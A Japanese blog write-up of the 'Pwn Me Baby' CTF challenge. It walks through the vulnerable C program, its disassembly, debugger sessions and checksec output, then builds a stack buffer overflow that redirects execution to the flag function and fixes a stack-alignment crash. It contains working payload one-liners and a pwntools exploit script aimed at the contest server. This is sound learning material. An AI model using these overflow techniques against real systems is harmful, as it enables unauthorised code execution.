問題
https://ctf.fwectf.com/challenges#Pwn%20Me%20Baby-10
nc chal2.fwectf.com 8000
でプログラムが動いており、それに不正な入力をおこなってフラグを獲得する問題です。
サーバでは以下のプログラムが動いています。
#include <fcntl.h>
#include <unistd.h>
#include <stdio.h>
#include <string.h>
void flag(){
char buf[128]={0};
int fd=open("flag.txt",O_RDONLY);
if(fd==-1){
puts("Couldn't find flag.txt");
return;
}
read(fd,buf,128);
puts(buf);
}
int main(void){
char buf[16];
printf("I will receive a message and do nothing else:");
scanf("%s",buf);
return 0;
}
__attribute__((constructor)) void init() {
setvbuf(stdin, NULL, _IONBF, 0);
setvbuf(stdout, NULL, _IONBF, 0);
}
コンテスト中は解けなかったため調べながら解きます。
フラグの獲得方法としては
- main 関数の stack-frame の x30 = link-register に flag 関数のアドレスを不正に入力する
scanf("%d")
で不正な文字列を入力し、 link-register になんとかしていれる です。
(事前学習)C 言語プログラムがどう実行されているかを学ぶ
C 言語プログラムを実行するまでになにがおこなわれるか objdump を使ってみる gdb & lldb のつかいかた
上記 Note によって
- C 言語ソースコードがどうやって実行可能ファイルまで変換されているのか
- C 言語プログラムがどうメモリアドレスに展開されて、命令が配置されるのか
を学びました。
上記知識をもとに問題に取り組みます。
Pwn Me Baby の問題をコンパイルする
UTM 上の Kali Linux 上で main.c をコンパイルして問題を解いていきます。 (Full Weak Engineer CTF 2025) Pwn Me Baby を学びながら解く のときに利用した clang と lldb を利用します。
└─$ lscpu
Architecture: aarch64
CPU op-mode(s): 64-bit
Byte Order: Little Endian
clang -S -O0 -g3 main.c
clang -c -g3 main.s
clang main.o -o main
objdump をつかって各関数のメモリアドレスを控えておきます。
_start
- 00000000000008c0
- C 言語のスタートアップ
- flag
- 00000000000009e8
- main
- 0000000000000a68
- init
- 0000000000000aac
__attribute__((constructor))
で定義された関数で init という名前でなくてよい_main
前に実行される
objdump -d main
main: file format elf64-littleaarch64
Disassembly of section .text:
00000000000008c0 <_start>:
8c0: d503245f bti c
8c4: d280001d mov x29, #0x0 // #0
8c8: d280001e mov x30, #0x0 // #0
8cc: aa0003e5 mov x5, x0
8d0: f94003e1 ldr x1, [sp]
8d4: 910023e2 add x2, sp, #0x8
8d8: 910003e6 mov x6, sp
8dc: f00000e0 adrp x0, 1f000 <__abi_tag+0x1e328>
8e0: f947ec00 ldr x0, [x0, #4056]
8e4: d2800003 mov x3, #0x0 // #0
8e8: d2800004 mov x4, #0x0 // #0
8ec: 97ffffc5 bl 800 <__libc_start_main@plt>
8f0: 97ffffdc bl 860 <abort@plt>
00000000000009e8 <flag>:
9e8: d10283ff sub sp, sp, #0xa0
9ec: a9097bfd stp x29, x30, [sp, #144]
9f0: 910243fd add x29, sp, #0x90
9f4: 910043e0 add x0, sp, #0x10
9f8: d2801002 mov x2, #0x80 // #128
9fc: 2a1f03e1 mov w1, wzr
a00: b9000be1 str w1, [sp, #8]
a04: 97ffff8f bl 840 <memset@plt>
a08: b9400be1 ldr w1, [sp, #8]
a0c: 90000000 adrp x0, 0 <_init-0x7b8>
a10: 912cc800 add x0, x0, #0xb32
a14: 97ffff87 bl 830 <open@plt>
a18: b9000fe0 str w0, [sp, #12]
a1c: b9400fe8 ldr w8, [sp, #12]
a20: 31000508 adds w8, w8, #0x1
a24: 540000c1 b.ne a3c <flag+0x54> // b.any
a28: 14000001 b a2c <flag+0x44>
a2c: 90000000 adrp x0, 0 <_init-0x7b8>
a30: 912c9000 add x0, x0, #0xb24
a34: 97ffff8f bl 870 <puts@plt>
a38: 14000009 b a5c <flag+0x74>
a3c: b9400fe0 ldr w0, [sp, #12]
a40: 910043e1 add x1, sp, #0x10
a44: f90003e1 str x1, [sp]
a48: d2801002 mov x2, #0x80 // #128
a4c: 97ffff91 bl 890 <read@plt>
a50: f94003e0 ldr x0, [sp]
a54: 97ffff87 bl 870 <puts@plt>
a58: 14000001 b a5c <flag+0x74>
a5c: a9497bfd ldp x29, x30, [sp, #144]
a60: 910283ff add sp, sp, #0xa0
a64: d65f03c0 ret
0000000000000a68 <main>:
a68: d100c3ff sub sp, sp, #0x30
a6c: a9027bfd stp x29, x30, [sp, #32]
a70: 910083fd add x29, sp, #0x20
a74: 2a1f03e8 mov w8, wzr
a78: b9000be8 str w8, [sp, #8]
a7c: b81fc3bf stur wzr, [x29, #-4]
a80: 90000000 adrp x0, 0 <_init-0x7b8>
a84: 912cec00 add x0, x0, #0xb3b
a88: 97ffff86 bl 8a0 <printf@plt>
a8c: 90000000 adrp x0, 0 <_init-0x7b8>
a90: 912da400 add x0, x0, #0xb69
a94: 910033e1 add x1, sp, #0xc
a98: 97ffff7a bl 880 <__isoc99_scanf@plt>
a9c: b9400be0 ldr w0, [sp, #8]
aa0: a9427bfd ldp x29, x30, [sp, #32]
aa4: 9100c3ff add sp, sp, #0x30
aa8: d65f03c0 ret
0000000000000aac <init>:
aac: d100c3ff sub sp, sp, #0x30
ab0: a9027bfd stp x29, x30, [sp, #32]
ab4: 910083fd add x29, sp, #0x20
ab8: f00000e8 adrp x8, 1f000 <__abi_tag+0x1e328>
abc: f947e508 ldr x8, [x8, #4040]
ac0: f9400100 ldr x0, [x8]
ac4: aa1f03e1 mov x1, xzr
ac8: f90007e1 str x1, [sp, #8]
acc: 52800042 mov w2, #0x2 // #2
ad0: b81f43a2 stur w2, [x29, #-12]
ad4: aa1f03e3 mov x3, xzr
ad8: f81f83a3 stur x3, [x29, #-8]
adc: 97ffff51 bl 820 <setvbuf@plt>
ae0: f94007e1 ldr x1, [sp, #8]
ae4: b85f43a2 ldur w2, [x29, #-12]
ae8: f85f83a3 ldur x3, [x29, #-8]
aec: f00000e8 adrp x8, 1f000 <__abi_tag+0x1e328>
af0: f947e108 ldr x8, [x8, #4032]
af4: f9400100 ldr x0, [x8]
af8: 97ffff4a bl 820 <setvbuf@plt>
afc: a9427bfd ldp x29, x30, [sp, #32]
b00: 9100c3ff add sp, sp, #0x30
b04: d65f03c0 ret
lldb でいろいろ調べる
lldb でデバッガして、main 関数のリターンアドレスになにを入力すればいいのか考えます。
main 関数にブレークポイントを設定し、プログラムを実行して停止させます。 このとき
- main 関数は 0xaaaaaaaa0a68 番地から始まっている
- main 関数は スタックフレームとして 0x30 = 48 番地だけ利用する
- sp = 0x0000ffffffffefe0
- 0x0000ffffffffefe0 ~ 0x0000fffffffff010 の領域をスタックフレームとして使う
- main 関数呼び出し元のリターンアドレス x30 は
[sp, #0x28] ~ [sp, #0x2F]
にコピーされている- main 関数が終わったら x30 = lr =
0x0000fffff7e0229c
=libc.so.6___lldb_unnamed_symbol3105
という関数に戻る x/1g $sp+0x28
で0xfffffffff008: 0x0000fffff7e0229c
で想定どおり- x30 リターンアドレスが $sp+0x28 にちゃんと入っている
- main 関数が終わったら x30 = lr =
ということがわかります。
Breakpoint 1: where = main`main + 24 at main.c:19:3, address = 0x0000000000000a80
(lldb) run
Process 1937002 launched: '/home/ganyariya/ctf/fullweakctf/main' (aarch64)
Process 1937002 stopped
* thread #1, name = 'main', stop reason = breakpoint 1.1
frame #0: 0x0000aaaaaaaa0a80 main`main at main.c:19:3
16
17 int main(void){
18 char buf[16];
-> 19 printf("I will receive a message and do nothing else:");
20 scanf("%s",buf);
21 return 0;
22 }
(lldb) dis
main`main:
0xaaaaaaaa0a68 <+0>: sub sp, sp, #0x30
0xaaaaaaaa0a6c <+4>: stp x29, x30, [sp, #0x20]
0xaaaaaaaa0a70 <+8>: add x29, sp, #0x20
0xaaaaaaaa0a74 <+12>: mov w8, wzr
0xaaaaaaaa0a78 <+16>: str w8, [sp, #0x8]
0xaaaaaaaa0a7c <+20>: stur wzr, [x29, #-0x4]
-> 0xaaaaaaaa0a80 <+24>: adrp x0, 0
0xaaaaaaaa0a84 <+28>: add x0, x0, #0xb3b
0xaaaaaaaa0a88 <+32>: bl 0xaaaaaaaa08a0 ; symbol stub for: printf
0xaaaaaaaa0a8c <+36>: adrp x0, 0
0xaaaaaaaa0a90 <+40>: add x0, x0, #0xb69
0xaaaaaaaa0a94 <+44>: add x1, sp, #0xc
0xaaaaaaaa0a98 <+48>: bl 0xaaaaaaaa0880 ; symbol stub for: __isoc99_scanf
0xaaaaaaaa0a9c <+52>: ldr w0, [sp, #0x8]
0xaaaaaaaa0aa0 <+56>: ldp x29, x30, [sp, #0x20]
0xaaaaaaaa0aa4 <+60>: add sp, sp, #0x30
0xaaaaaaaa0aa8 <+64>: ret
(lldb) register read
General Purpose Registers:
x0 = 0x0000000000000001
...
fp = 0x0000fffffffff000
lr = 0x0000fffff7e0229c libc.so.6`___lldb_unnamed_symbol3105 + 124
sp = 0x0000ffffffffefe0
pc = 0x0000aaaaaaaa0a80 main`main + 24 at main.c:19:3
続いて scanf buf が行っているアセンブリコードを追ってみます。
char buf[16];
scanf("%s",buf);
# x0 に "%d" のアドレスを入れて、scanf 関数の第 1 引数として渡す
0xaaaaaaaa0a8c <+36>: adrp x0, 0
0xaaaaaaaa0a90 <+40>: add x0, x0, #0xb69
# x1 レジスタに $sp + #0xc (12) のアドレスを渡す
0xaaaaaaaa0a94 <+44>: add x1, sp, #0xc
0xaaaaaaaa0a98 <+48>: bl 0xaaaaaaaa0880 ; symbol stub for: __isoc99_scanf
adrp x0, 0
によって、 0xaaaaaaaa0a8c 命令のページの先頭アドレス 0xaaaaaaaa0000 を x0 レジスタに格納します。
続いて、 0xb69 を足して、 0x0000aaaaaaaa0b69 が x0 レジスタに格納されます。
0x0000aaaaaaaa0b69 には “%s” という scanf で利用する文字列が入っています。
(lldb) memory read --format s 0xaaaaaaaa0b69
0xaaaaaaaa0b69: "%s"
0xaaaaaaaa0a94 <+44>: add x1, sp, #0xc
で x1 レジスタに scanf
で入力された文字列を格納するメモリアドレスを入れます。
sp = 0x0000ffffffffefe0
のため、 x1 = 0x0000ffffffffefec
となります。
char buf[16];
16 byte を入力できるため、 0x0000ffffffffefec ($sp + #0xc
) ~ 0x0000ffffffffeffc
($sp + #0x1c
) が buf の値が入る範囲になります。
よって、 0x0000ffffffffefec から 0x0000ffffffffeffc という buf の範囲をこえて不正に入力し、リターンアドレスである 0xfffffffff008 番地に、0xaaaaaaaa09e8 を入力すればいいです。 すると、強引に flag 関数を実行できます。
scanf に不正な入力をしてリターンアドレスの番地に flag 関数のアドレス番地を書き込む
url: https://www.intellilink.co.jp/article/column/ctf01.html
title: "CTFで学ぶ脆弱性(スタックバッファオーバーフロー編・その1) | 株式会社NTTデータ先端技術"
description: "株式会社NTTデータ先端技術は、基幹業務情報の設計、統合、運用および最新技術上構築された通信システムプラットフォームを通じて、貴社のビジネスに価値を提供する専門的な企業です。"
host: www.intellilink.co.jp
favicon: https://www.intellilink.co.jp/-/media/ndil/ndil-jp/home/favicon.svg?h=16&w=16&hash=216869B34D73EE4E73398211B12BDB55
image: https://www.intellilink.co.jp/-/media/ndil/ndil-jp/home/carousel/top_03.jpg?h=1050&w=2804&hash=31F1B1A040A0FA7B497BDCE045E9AF2F
- buf の先頭アドレス: 0x0000ffffffffefec (
$sp + #0xc
) - x30 (lr) の先頭アドレス: 0xfffffffff008 (`$sp + 0x28)
- scanf で入力すべきゴミ padding:
#0x28 - #0xc = 28 = #0x1c
よって、 A*{28}[flag関数のアドレス]
と入力すればよさそうです。l
ただ、ここで以下の問題が発生しました。
- flag 関数のアドレスは動的に毎回かわる ASLR
- アドレス空間配置のランダム化
- https://zenn.dev/satoru_takeuchi/articles/d4839928e64cb4dca7eb
- スタック領域やヒープ領域は必ずランダム化される
- コード領域などは Position Independent Executable(PIE) でないと同じ位置に配置される
- 毎回同じ仮想メモリアドレスに配置されると不正されやすいため
- → 与えられた main 実行可能プログラムが ASLR だった場合、 flag 関数アドレスを入れるのは困難になる
- もし ASLR が無効化されており、 flag 関数が固定アドレスだったたとしても、そのアドレスをバイト列としてどう scanf に入れればいいかわからない
よって、 Writeup を見させていただきながらこれらの問題を解決します。
Writeup を見ながら不明点を明らかにしつつ解く
url: https://zenn.dev/koufu193/articles/b0aa6291d5655c#pwn-me-baby(pwn%2C-beginner)
title: "Full Weak Engineer CTF 2025 作問者Writeup"
host: zenn.dev
image: https://res.cloudinary.com/zenn/image/upload/s--efiOmqC5--/c_fit%2Cg_north_west%2Cl_text:notosansjp-medium.otf_55:Full%2520Weak%2520Engineer%2520CTF%25202025%2520%25E4%25BD%259C%25E5%2595%258F%25E8%2580%2585Writeup%2Cw_1010%2Cx_90%2Cy_100/g_south_west%2Cl_text:notosansjp-medium.otf_37:koufu193%2Cx_203%2Cy_121/g_south_west%2Ch_90%2Cl_fetch:aHR0cHM6Ly9zdG9yYWdlLmdvb2dsZWFwaXMuY29tL3plbm4tdXNlci11cGxvYWQvYXZhdGFyLzBlNzlhNjVhYWEuanBlZw==%2Cr_max%2Cw_90%2Cx_87%2Cy_95/v1627283836/default/og-base-w1200-v2.png
url: https://tan.hatenadiary.jp/entry/2025/09/09/032408
title: "Full Weak Engineer CTF 2025 write-up - プログラム系統備忘録ブログ"
description: "Full Weak Engineer CTF 2025へ1人チームで参加しました。そのwrite-up記事です。 作問者様Writeupへのリンクや各種問題の配布ファイル含む内容が、GitHubで公開されています: https://github.com/full-weak-engineer/FWE_CTF_2025_public"
host: tan.hatenadiary.jp
favicon: https://tan.hatenadiary.jp/icon/link
image: https://cdn.image.st-hatena.com/image/scale/7d94dfd50567a88255b3ba0a6488516e6950e3a2/backend=imagemagick;version=1;width=1300/https%3A%2F%2Fcdn-ak.f.st-hatena.com%2Fimages%2Ffotolife%2FT%2FTan90909090%2F20250908%2F20250908222956.png
配布ファイルのセキュリティ機構を調べる
配布ファイルの main
実行可能プログラムを調べて ASLR が有効か?などを調べないといけません。
そのため ここからは ganyariya が UTM Kali Linux (mac arm) 上でコンパイルしたものは利用せず、配布されたファイル (x86-64) をそのまま利用します。
よって、ここまででてきていた命令形式ならびにアドレスはガラッと変わります。
url: https://docs.pwntools.com/en/stable/commandline.html
title: "Command Line Tools — pwntools 4.14.1 documentation"
host: docs.pwntools.com
url: https://daisuke20240310.hatenablog.com/entry/checksec
title: "実行ファイルのセキュリティ機構を調べるツール「checksec」のまとめ - 土日の勉強ノート"
description: "前回 は、Pwnable問題に取り組みました。CTF のカテゴリの中でも、一番難しいと言われるだけあって、かなり苦労しました。 今回は、前回の Pwnable問題でも使用した、実行ファイルのセキュリティ機構(脆弱性緩和技術とも言う)について整理したいと思います。セキュリティ機構を調べるツールは、従来は「checksec」を使用していましたが、問題があったので、現在は、pwntools の checksec を使用しています。 実行ファイルのセキュリティ機構とは、もし、実行ファイルに脆弱性が存在していたとしても、その脆弱性に対する攻撃をやりにくくする仕組みのことです。 例えば、スタックカナリヤは…"
host: daisuke20240310.hatenablog.com
favicon: https://daisuke20240310.hatenablog.com/icon/link
image: https://cdn.image.st-hatena.com/image/scale/a9faaf70241b071b9cf6fd0f140470383262ebe4/backend=imagemagick;version=1;width=1300/https%3A%2F%2Fcdn-ak.f.st-hatena.com%2Fimages%2Ffotolife%2Fd%2Fdaisuke20240310%2F20240914%2F20240914192747.png
pwntools は CTF 用の python で書かれた便利フレームワークです。 この pwntools の CLI を利用して main 実行可能プログラムのセキュリティチェックをします。
checksec でファイルのセキュリティチェックを行えます。
- Arch
- amd64 の little-endian
- RELRO (Relocation Read Only)
- https://miso-24.hatenablog.com/entry/2019/10/16/021321
- メモリデータのどの部分に ReadOnly をつけるか?
- Partial のため、 GOT 領域のメモリへ不正に書き込める
- https://kashiwaba-yuki.com/linux-got-plt
- GOT = 共有ライブラリなど、実行時にリンクする形式の関数などのアドレスを持つテーブルらしい
- Stack: Canary found
- stack-protector が有効になっている
- 関数呼び出し時にスタックフレーム内にカナリアという値が追加される
- canary の値が変更されたらバッファオーバーフローを検知する
- https://qiita.com/GmS944y/items/b10a1abde35f7175ea4b
- https://miso-24.hatenablog.com/entry/2019/10/16/021321
- StackFrame の構成について
- 関数呼び出し時にスタックフレーム内にカナリアという値が追加される
- stack-protector が有効になっている
- Nx: No eXecute
- enabled のためスタック領域のコード実行が禁止されている
- PIE: No PIE
- PIE はプログラムをロードするアドレスが固定ではない実行ファイルを指します
- → PIE であれば、ロードアドレスがランダムであり、仮想アドレスの基準アドレスが実行のたびに変わります
- https://zenn.dev/tetsu_koba/articles/ecde4c6b5073bd
- No PIE のため、基準アドレスが必ず固定になり、今回だと 0x400000
- PIE はプログラムをロードするアドレスが固定ではない実行ファイルを指します
┌──(ganyariya㉿utmkali)-[~/ctf/fullweakctf/pwnmebaby/dist]
└─$ pwn checksec main
[*] '/home/ganyariya/ctf/fullweakctf/pwnmebaby/dist/main'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x400000)
Stripped: No
No PIE であることから命令アドレスが固定であることがわかります。 よって、 flag 関数のアドレスを特定し、それを scanf で入力すればよさそうです。
それでは、あらためて flag 関数ならびに main 関数の実装を見てみます。このときの flag 関数のアドレスを scanf でいれることになります。 ここで、配布された main プログラムは x86-64 であり、命令やスタックフレームの構造が全く違うことに気づきました。 x86-64 形式のスタックフレームの構造を理解し、 scanf で入力すべき攻撃コードを求める必要があります。
そのため、 x86-64 における関数呼び出し時のスタックフレームの挙動を調べる でスタックフレームの挙動をこのタイミングで調べました。めちゃくちゃ右往左往調べながらやってますね…。
x86-64 スタックフレームの挙動を知りたい方は x86-64 における関数呼び出し時のスタックフレームの挙動を調べる を参照ください。
入力すべきバイト列を計算する
main 関数の処理を追い、攻撃として入力すべき文字列を考えます。
objdump -d main
0000000000401810 <flag>:
401810: 53 push %rbx
...
0000000000401630 <main>:
# 0x18 = 24 だけスタックフレームを確保する
401630: 48 83 ec 18 sub $0x18,%rsp
# 第1引数に printf で表示する文字列を設定する
# → printf を呼び出す
401634: 48 8d 3d 35 4c 09 00 lea 0x94c35(%rip),%rdi # 496270 <slashdot.0+0x64b>
40163b: 31 c0 xor %eax,%eax
40163d: e8 2e 34 00 00 call 404a70 <_IO_printf>
# rsp アドレスを第2引数として渡し文字列を受け取る
401642: 48 89 e6 mov %rsp,%rsi
# "%s" を第1引数として受け取る
401645: 48 8d 3d 52 49 09 00 lea 0x94952(%rip),%rdi # 495f9e <slashdot.0+0x379>
40164c: 31 c0 xor %eax,%eax
# scanf を呼び出す
40164e: e8 4d 33 00 00 call 4049a0 <__isoc99_scanf>
401653: 31 c0 xor %eax,%eax
401655: 48 83 c4 18 add $0x18,%rsp
401659: c3 ret
40165a: 66 0f 1f 44 00 00 nopw 0x0(%rax,%rax,1)
url: https://stackoverflow.com/questions/75038089/whats-the-difference-between-libc-start-main-and-libc-start-call-main
title: "What's the difference between `__libc_start_main` and `__libc_start_call_main`?"
description: "I recently learnt about the __libc_start_main() function. I thought that __libc_start_main() calls the main() function as described in this answer, but when I checked the stack pointer $rsp after"
host: stackoverflow.com
image: https://cdn.sstatic.net/Sites/stackoverflow/Img/[email protected]?v=73d79a89bded
main 関数は以下の順で呼ばれているようです。これをスタックフレーム構成図に盛り込みます。
_start
_libc_start_main
_libc_start_main_impl
_libc_start_call_main
- main
x86-64 における関数呼び出し時のスタックフレームの挙動を調べる で分かったように、 main 関数のスタックフレームは以下のような構成になっています。
0x0
+--------------+
------------ ← rsp
~0x18 = 24 Byte~
scanf で入力されたデータは rsp アドレスから 16 byte 書き込むことを想定している
------------ ← rsp - 0x18
__libc_start_call_main へのリターンアドレス (0x0000000000401dd4)
------------
__libc_start_call_main のスタックフレーム
+--------------+
0x00000000FFFFFFFFF
よって、書き込むべきデータは (padding: 24byte) + 8byte で記入した flag 関数アドレス
になります。
aaaaaaaaaaaaaaaaaaaaaaaa\x10\x18\x40\x0\x0\x0\x0\x0
echo の e option で scanf へ攻撃コードを入力したところ、 segmentation-fault になってしまいました。 #buffer-overflow 自体はセグフォにはなりません。バッファオーバーフローした結果、想定していないメモリにアクセスしたときにセグフォエラーになります。 よって、メモリアクセスで想定していないことが起きています。
root@pve:~/ctf/fullweakctf/pwnmebaby/dist# echo -e "aaaaaaaaaaaaaaaaaaaaaaaa\x10\x18\x40\x0\x0\x0\x0\x0" | ./main
I will receive a message and do nothing else:Segmentation fault
セグフォエラーを解決しフラグを獲得する
Author Writeup
url: https://zenn.dev/koufu193/articles/b0aa6291d5655c#pwn-me-baby(pwn%2C-beginner)
title: "Full Weak Engineer CTF 2025 作問者Writeup"
host: zenn.dev
image: https://res.cloudinary.com/zenn/image/upload/s--efiOmqC5--/c_fit%2Cg_north_west%2Cl_text:notosansjp-medium.otf_55:Full%2520Weak%2520Engineer%2520CTF%25202025%2520%25E4%25BD%259C%25E5%2595%258F%25E8%2580%2585Writeup%2Cw_1010%2Cx_90%2Cy_100/g_south_west%2Cl_text:notosansjp-medium.otf_37:koufu193%2Cx_203%2Cy_121/g_south_west%2Ch_90%2Cl_fetch:aHR0cHM6Ly9zdG9yYWdlLmdvb2dsZWFwaXMuY29tL3plbm4tdXNlci11cGxvYWQvYXZhdGFyLzBlNzlhNjVhYWEuanBlZw==%2Cr_max%2Cw_90%2Cx_87%2Cy_95/v1627283836/default/og-base-w1200-v2.png
作問者である koufu193 さんの Writeup では以下のように記されています。
これはアライメントの問題なので RSP が 16 の倍数になるような命令が実行されるように調整する。 echo -e “AAAAAAAAAAAAAAAAAAAAAAAA\x11\x18\x40\x00\x00\x00\x00\x00”|./main I will receive a message and do nothing else:fwectf{fake_flag}
koufu193 さんの解法では、実行する命令を 1 つだけずらすことによって、フラグを printf してからセグフォエラー、というエラーの遅延が実現されています。
ここで、 ganyariya 攻撃コードで flag printf 到達する前にセグフォエラーになっていたのは、 stack-alignment が原因でした。 #x86-64 の ABI (Application Binary Interface) において、 XMM-Register でメモリを読み取る場合 stack-pointer が 16byte 境界にあることを期待するようです。 XMM レジスタは 128 bit (16byte) をやりとりするときに使います。
どうやら rsp が 16byte 境界にいないときに、よくない命令を呼び出しているようです。
url: https://uchan.hateblo.jp/entry/2018/02/16/232029
title: "x86-64 モードのプログラミングではスタックのアライメントに気を付けよう - uchan note"
description: "x86-64 モードというのは x86 系 CPU の動作モードの一つです.64 ビットモードとかロングモードと呼ばれることもあります. x86-64 モードではページングが必須だったり,セグメント CS や DS に設定するベースアドレスやリミットが無視されるなど,CPU 自体の制約事項もあります. それ以外に,x86-64 モードでよく使われる ABI による制約もあり,ハマりやすい部分でもあるので本記事で説明します."
host: uchan.hateblo.jp
favicon: https://uchan.hateblo.jp/icon/link
image: https://ogimage.blog.st-hatena.com/6653586347149404892/17391345971616807007/1518791572
stack-pointer がどうなっているか改めて gdb で確認します。
run < <(echo -e "aaaaaaaaaaaaaaaaaaaaaaaa\x10\x18\x40\x0\x0\x0\x0\x0")
で攻撃コードを入力し、デバッグしました。
main 関数が実行されているとき、下図のようになっています。 rsp が ea00 という 16byte 境界へ正常にアラインメントされています。 このとき、不正な攻撃を行うと 0x7fffffffea18 のリターンアドレスが flag 関数のアドレスへと書き換えられます。
0x0
+--------------+
------------ 0x7fffffffea00 ← rsp
~0x18 = 24 Byte~
main 関数のスタックフレーム
------------ 0x7fffffffea18
__libc_start_call_main へのリターンアドレス (0x0000000000401dd4) → flag 関数へのリターンアドレスへ書き換えられる
------------ 0x7fffffffea20
__libc_start_call_main のスタックフレーム
+--------------+
0x00000000FFFFFFFFF
main 関数が終了すると flag 関数へのリターンアドレスが読み取られ、 flag 関数のエントリポイント時には以下のような状態になります。
0x0
+--------------+
------------ 0x7fffffffea20 ← rsp
__libc_start_call_main のスタックフレーム
+--------------+
0x00000000FFFFFFFFF
さらにここから flag 関数で以下の 2 つの問題が発生します。
push %rbx
が実行されて、 rsp が 0x7fffffffea18 に更新される- → 末尾が 0 でなくなり、アラインメントが 16byte でなくなる
movaps %xmm0,(%rsp)
が実行されてセグフォエラーが発生する- movaps は 16byte アラインメントを期待しているのに ea18 でエラーになる
Dump of assembler code for function flag:
=> 0x0000000000401810 <+0>: push %rbx
0x0000000000401811 <+1>: pxor %xmm0,%xmm0
0x0000000000401815 <+5>: xor %esi,%esi
0x0000000000401817 <+7>: xor %eax,%eax
0x0000000000401819 <+9>: lea 0x9281a(%rip),%rdi # 0x49403a
0x0000000000401820 <+16>: add $0xffffffffffffff80,%rsp
0x0000000000401824 <+20>: movaps %xmm0,(%rsp)
この挙動を回避するために、作問者 Writeup ではリターンアドレスを 0x0000000000401811 に変更しています。 これによって、 rsp が 0x7fffffffea00 のままになり、 16byte アラインメント問題が解決され movaps を乗り越えて flag.txt が表示できています。
自分の環境においても下記の入力によってフラグが獲得できました。 長かった…。
root@pve:~/ctf/fullweakctf/pwnmebaby/dist# echo -e "aaaaaaaaaaaaaaaaaaaaaaaa\x11\x18\x40\x0\x0\x0\x0\x0" | ./main
I will receive a message and do nothing else:fwectf{fake_flag}
I will receive a message and do nothing else:Segmentation fault (core dumped)
python による攻撃コードについて
url: https://yocchin.hatenablog.com/entry/2025/09/01/082550
title: "Full Weak Engineer CTF 2025 Writeup - よっちんのブログ"
description: "この大会は2025/8/29 19:00(JST)~2025/8/31 19:00(JST)に開催されました。 今回もチームで参戦。結果は2550点で733チーム中86位でした。 自分で解けた問題をWriteupとして書いておきます。 Welcome (Welcome) Discordに入り、#announcementチャネルのメッセージを見ると、フラグが書いてあった。 fwectf{w3lc0m3_70_fw3_c7f} Poison Apple (Misc) 問題文は以下の通り。 iOSではウォッチドッグタイマが故障した時に返ってくる不思議な4バイトがあるらしい… 大文字にしてfwectf…"
host: yocchin.hatenablog.com
favicon: https://yocchin.hatenablog.com/icon/link
image: https://cdn.image.st-hatena.com/image/scale/38b1158f1a36843da2fce140afd8d7e0c1014f71/backend=imagemagick;version=1;width=1300/https%3A%2F%2Fcdn-ak.f.st-hatena.com%2Fimages%2Ffotolife%2Fs%2Fsatou-y%2F20250901%2F20250901075717.jpg
よっちんさんの解法で pwntools の使い方ならびに ret address の使い方を学びます。
作問者 Writeup と異なり、もう 1 段階 ret を噛ませることで rsp を強引に 8byte ずらして揃うようにしています。 やっていることは以下です。
__libc_start_call_main
へのリターンアドレスが記録されていたメモリを、ret
命令が呼ばれているアドレスに書き換える__libc_start_call_main
のスタックフレームが始まっているメモリを、flag
関数のアドレスへ書き換える
つまり、1段階 ret を追加し 8 byte rsp をずらしています。 その結果、flag 関数が始まる時点における rsp の値が 0x7fffffffea28 となり、そこから push %rbx で 0x7fffffffea20 の状態で movaps を迎えられます。
0x0
+--------------+
------------ 0x7fffffffea00 ← rsp
~0x18 = 24 Byte~
main 関数のスタックフレーム
------------ 0x7fffffffea18
__libc_start_call_main へのリターンアドレス (0x0000000000401dd4) → 0x401016 (init 関数の ret 命令) へ書き換える
------------ 0x7fffffffea20
__libc_start_call_main のスタックフレーム → flag 関数のアドレスへ書き換える
------------ 0x7fffffffea28
+--------------+
0x00000000FFFFFFFFF
こちらを解くような python コードを writeup を参考に書いてみます。 Pwntools で CTF 問題を解く で pwntools の使い方をまとめながら解きました。
- 引数の数によってローカル・リモートを分ける
pwn.remote, process
によって任意のプロセスと TCP メッセージがやり取りできるpack, p32, p64...
によって int/byte が簡単に変換できる
など、非常に便利そうなので pwn による byte 操作のときにつかっていこうとおもいます。
#!/usr/bin/env python3
from pwn import *
main_path = './main'
if len(sys.argv) == 1:
p = remote('chal2.fwectf.com', 8000)
else:
p = process(main_path)
elf = ELF(main_path)
# ret 命令のアドレス
ret_addr = 0x401016
flag_addr = elf.symbols['flag']
payload = b'A' * 24
payload += p64(ret_addr)
payload += p64(flag_addr)
# I will ... else: の出力を待つ
data = p.recvuntil(b'else').decode()
print(data, end='')
print(payload)
# ./main に payload を TCP で送る
p.sendline(payload)
data = p.recvline().decode().rstrip()
print(data)
まとめ
Pwn Me Baby を色々と調べながら解いてきました。
pwn について少し理解が深まってため、次回の CTF コンテストでは優先的に pwn へチャレンジしてみようとおもいます。
色々と学びがあったため時間をみつけて zenn へ記事化していこう…。